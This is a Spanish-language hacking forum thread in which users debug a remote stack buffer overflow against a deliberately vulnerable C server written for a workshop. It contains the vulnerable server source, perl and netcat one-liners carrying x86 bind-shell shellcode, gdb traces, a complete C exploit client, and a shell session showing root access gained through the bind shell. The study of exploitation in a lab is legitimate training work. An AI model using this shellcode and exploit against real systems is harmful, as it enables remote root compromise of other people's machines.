elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:36  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  ¿ Fallo BoF Remoto Linux ?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ¿ Fallo BoF Remoto Linux ?  (Leído 2,271 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
¿ Fallo BoF Remoto Linux ?
« en: 18 Febrero 2011, 01:10 »

Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...
Código
#include <sys/socket.h>
#include <arpa/inet.h>
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <signal.h>
#include <time.h>
 
int socketfd, newsocket;
 
int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}
 
void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}
 
int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}
 
int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
 
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);
 
socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
 
listen (socketfd, 3);
 
times ();
printf ("Starting up...\n\n");
 
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
 
while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
 
times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);
 
vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}
 
 

Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555
El null lo pongo porque en la línea ...
Código
		while (cont>2)
{
times ();
--> buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);
 
... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...
Código:
juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)
Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #1 en: 18 Febrero 2011, 21:07 »

Hola!

He probado tu código con una shellcode que tenia yo y me ha funcionado:

Código:
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25
18/02/2011 20:49:25   Starting up...

18/02/2011 20:49:29   Got connection from 127.0.0.1:33672
18/02/2011 20:49:29   RECV 112 bytes: ��������������������������������������������������������^�1��F�F
                                                                                                       �
                                                                                                        ����V
                                                                                                             1ۉ�@̀�����/bin/sh�����������
process 3640 is executing new program: /bin/dash

Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104:

Código:
$ perl -e 'print "A"x108' | nc -vv localhost 16005

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:53:00
18/02/2011 20:53:00   Starting up...

18/02/2011 20:53:16   Got connection from 127.0.0.1:54045
18/02/2011 20:53:16   RECV 108 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()

Con 108 no llego a sobreescribir pero con 109 si:

Código:
$ perl -e 'print "A"x109' | nc -vv localhost 16005

Starting program: /home/javi/programacion/pruebas/BOF_remoto/a.out 16005
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:58:36
18/02/2011 20:58:36   Starting up...

18/02/2011 20:58:43   Got connection from 127.0.0.1:39784
18/02/2011 20:58:43   RECV 109 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode.
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #2 en: 18 Febrero 2011, 21:29 »

Hola Javi!

Pues no sé, esta noche vuelvo a la carga  :-\ ... ¿Te funciona con mi comando exacto?
Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104.

Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del
Código
buffer [cont-1]='\0';
No me había dado cuenta de que esto también me afectaba en ese ámbito... xD

Gracias! Seguiré probando...
PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #3 en: 18 Febrero 2011, 21:40 »

Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Saludos
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #4 en: 18 Febrero 2011, 21:42 »

Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Mmm, puede que la haya recortado mal, luego la miro, pero no es mía :P
_________________________________________________________________________
Vale, modifico, un detallito...

Al activar el randomize_va_space...
Código:
juanra@Juanra:~$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38
19/02/2011 13:09:38   Starting up...

19/02/2011 13:09:41   Got connection from 127.0.0.1:46633
19/02/2011 13:09:41   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff7c4 in ?? ()
(gdb)
RET correcto.

Y al desactivar...
Código:
(gdb) r 31337
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53
19/02/2011 13:10:53   Starting up...

19/02/2011 13:10:56   Got connection from 127.0.0.1:60248
19/02/2011 13:10:56   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb)

Ambos corren así:
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337

¿? Voy a mirar a ver la shellcode...
_________________________________________________________________________
Modf: La shellcode va perfectamente :P
« Última modificación: 19 Febrero 2011, 13:16 por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #5 en: 20 Febrero 2011, 21:47 »

Hola!

He estado todo el finde fuera y no me ha dado tiempo a mirar mucho. Lo que sí he hecho es reproducir el problema que tú tienes, parece que la shellcode se jode  por algún motivo que aún no he descubierto.
A priori todo el copiado del buffer lo hace bien:

Código:

0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0xe1895652
0xbffff1e0: 0x6a9380cd 0x3fb05902 0x794980cd 0x520bb0f9
0xbffff1f0: 0x732f2f68 0x622f6868 0xe3896e69 0x53e28952
0xbffff200: 0x80cde189 0xbffff678 0xbffff1a0

Luego da un execepción y veo que la pila se ha modificado justo donde tengo la shellcode:

Código:
0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0x00000000
0xbffff1e0: 0x00000000 0x00000007 0x00000004 0x00000007
0xbffff1f0: 0xbffff1f8 0x00000010 0x697a0002 0x00000000
0xbffff200: 0x00000002 0x00000001 0x00000000 0xbffff200

Como se puede ver el EIP esta intentando ejecutar la instrucción que esta en la dir 0xbffff1dd. En esa dir habia código de nuestra shellcode que ha sido modificada.

Código:
Program received signal SIGSEGV, Segmentation fault.
0xbffff1dd in ?? ()
(gdb) info r
eax            0x66 102
ecx            0xbffff1e4 -1073745436
edx            0x0 0
ebx            0x5 5
esp            0xbffff1dc 0xbffff1dc
ebp            0xbffff678 0xbffff678
esi            0x7 7
edi            0x0 0
eip            0xbffff1dd 0xbffff1dd
eflags         0x10206 [ PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Seguirí investigando
« Última modificación: 20 Febrero 2011, 21:49 por M3st4ng » En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #6 en: 21 Febrero 2011, 15:01 »

El fallo creo que podría estar en la shellcode... Aunque no me sirva para este caso le voy a meter una local, a ver si se ejecuta xD
Si funciona es que el fallo está en la shellcode y listo...

Iré modificando xD
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #7 en: 21 Febrero 2011, 19:39 »

Perdonad el doble-post, pero... Lo conseguí!
En realidad era una tontería... \x00 se considera como byte nulo para strlen, por lo que no se contaba y me modificaba de todos modos una parte del exploit. Todo se solucionaba cambiando el byte nulo por cualquier otra cosa... xD xD xD

xD Ohh... Un detallito era que en el GDB me funciona, pero fuera no. Eso es que el ret me cambia al salir :P Ahora voy a meterle la buena shellcode y listo xD
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #8 en: 21 Febrero 2011, 22:37 »

Hola!

Pues a mi me sigue cascando. La shellcode que uso esta bien porque la he probado en local y funciona perfectamente. No entiendo por qué narices se me modifica la shellcode.....
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #9 en: 21 Febrero 2011, 22:43 »

A mi lo que me falla es mi shellcode. He hecho una que printa AAAA y funciona, ahora, la del remoto no va... Ahora voy a mirar el desensamblado a ver a qué amiguito llama :P
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #10 en: 21 Febrero 2011, 23:21 »

Perdona el doblepost, pero cuando consigues algo que quieres te motivas un puñado ;)
Te explico...

Servidor
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 21/02/2011 23:16:53
21/02/2011 23:16:53   Starting up...

21/02/2011 23:17:00   Got connection from 127.0.0.1:43225
21/02/2011 23:17:00   RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
              RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���                                              

Exploit line
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330
hK 2.0 - By Sagrini (2010) - 21/02/2011 23:17:00
21/02/2011 23:17:00   Got connection with 127.0.0.1:31330
juanra@Juanra:~$

Bind Shell 5074
Código:
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
whoami
root
groups
root
exit
 sent 19, rcvd 10
juanra@Juanra:~$

12 NOPS + 92 SHELLCODE + 4 RET + 1 BASURA
Código
			buffer [cont-1]='\0';

Lo que me fastidia es que sólo corre cuando abres el servidor desde GDB. Mañana lo miraré  ::)
Un saludo!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #11 en: 22 Febrero 2011, 00:21 »

Hola!!

El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS.
La función que yo uso es esta:

Código:
unsigned  get_esp(void)
{
  __asm__("movl %esp, %eax");

}

Con respecto al BOF remoto, mañana volvere a intentar otra cosa.

Salu2!!
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #12 en: 22 Febrero 2011, 00:37 »

Mmm, yo sencillamente modifico el código con un printf y listo xD  :silbar:
La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD

Seguiré mirando...
_________________________________________________________

Modf: Vaya con la shellcode...
Añado al code
Código
int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
printf ("Buffer [0x%08x] contains %s...\n", &buffer, buffer);
}
 
NC
Código:
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
 sent 0, rcvd 0
juanra@Juanra:~$
Exploit
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25
22/02/2011 01:04:25   Got connection with 127.0.0.1:31337
juanra@Juanra:~$
Ejecuto...
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19
22/02/2011 01:04:19   Starting up...

22/02/2011 01:04:25   Got connection from 127.0.0.1:58332
22/02/2011 01:04:25   RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
              RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Fallo de segmentación

1. Ejecuto el servidor (port 31337).
2. Ejecuto el exploit. El servidor recibe la cadena y queda parado.
3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación".

¿?¿?¿?
_________________________________________________________

Aparte, de pruebas...

Server
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49
22/02/2011 01:13:49   Starting up...

22/02/2011 01:13:51   Got connection from 127.0.0.1:50840
22/02/2011 01:13:51   RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���
Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���...
Bjuanra@Juanra:~/Escritorio/Serv$
Exploit
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51
22/02/2011 01:13:51   Got connection with 127.0.0.1:31337
juanra@Juanra:~$

La shellcode sólo escribía una B y salía. Funciona a la perfección :P
« Última modificación: 22 Febrero 2011, 01:14 por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #13 en: 2 Marzo 2011, 19:54 »

Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit...
El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...)
¿Qué le pasa?

Serv
Código
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
 
int sockfd, newsock;
 
void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsock);
close (sockfd);
exit (0);
}
 
int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}
 
int handle_conection (char *buffer)
{
char buff [256];
strcpy (buff, buffer);
 
times ();
buff [strlen (buff)-1]='\0';
printf ("[0x%08x]: %s\n", &buff, buff);
 
return 0;
}
 
int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
 
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);
 
sockfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
 
listen (sockfd, 3);
 
times ();
printf ("Starting up...\n\n");
 
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
 
while (1)
{
newsock=accept (sockfd, (struct sockaddr*)&client, &size);
 
times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
cont=recv (newsock, &buffer, 1024, 0);
while (cont > 1)
{
handle_conection (buffer);
cont=recv (newsock, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsock);
}
close (sockfd);
return 0;
}
 
Exploit
Código
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
 
int main (int argc, char *argv [])
{
printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
if (argc != 3)
{
printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
return 1;
}
 
printf ("Creating socket...\t");
struct sockaddr_in host; int sockfd;
host.sin_family = AF_INET;
host.sin_port = htons (atoi (argv [2]));
host.sin_addr.s_addr = inet_addr (argv [1]);
memset (host.sin_zero, 0, 8);
if ((sockfd=socket (2, 1, 0))==-1)
{
printf ("[FAIL]\n\n");
return 1;
}
else printf ("[OK]\n");
 
printf ("Conecting target...\t");
if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
{
printf ("[FAIL]\n\n");
return 1;
}
else printf ("[OK]\n");
 
printf ("Creating buffer...\t");
char nops [168];
memset (nops, '\x90', 168);
char shellcode [93] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58"
"\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66"
"\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a"
"\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
char ret [6] = "\x30\xf8\xff\xbf\x90";
char command [265];
strcpy (command, nops);
strcat (command, shellcode);
strcat (command, ret);
printf ("[OK]\n");
 
printf ("Sending buffer...\t");
if (send (sockfd, &command, strlen (command), 0)==-1)
{
printf ("[FAIL]\n\n");
return 1;
}
else printf ("[OK]\n\n");
 
FILE *fp = fopen ("a.txt", "w+");
fprintf (fp, "%s", command);
fclose (fp);
 
printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
return 0;
}
 

Root Shell1 GDB serv
Código:
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 02/03/2011 19:50:08
02/03/2011 19:50:08   Starting up...

02/03/2011 19:50:11   Got connection from 127.0.0.1:41991
02/03/2011 19:50:11   [0xbffff6f8]: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                        Rh//shh/bin��R��S��̀jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                       Rh//shh/bin��R��S��̀0����n����������
                                                          �����(跢%���y���y��(���1���1����y���y��(���1����������

Program received signal SIGSEGV, Segmentation fault.
0x9958666a in ?? ()
(gdb)
User Shell2 Exploit
Código:
juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$


Gracias y un saludo!
Sagrini
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
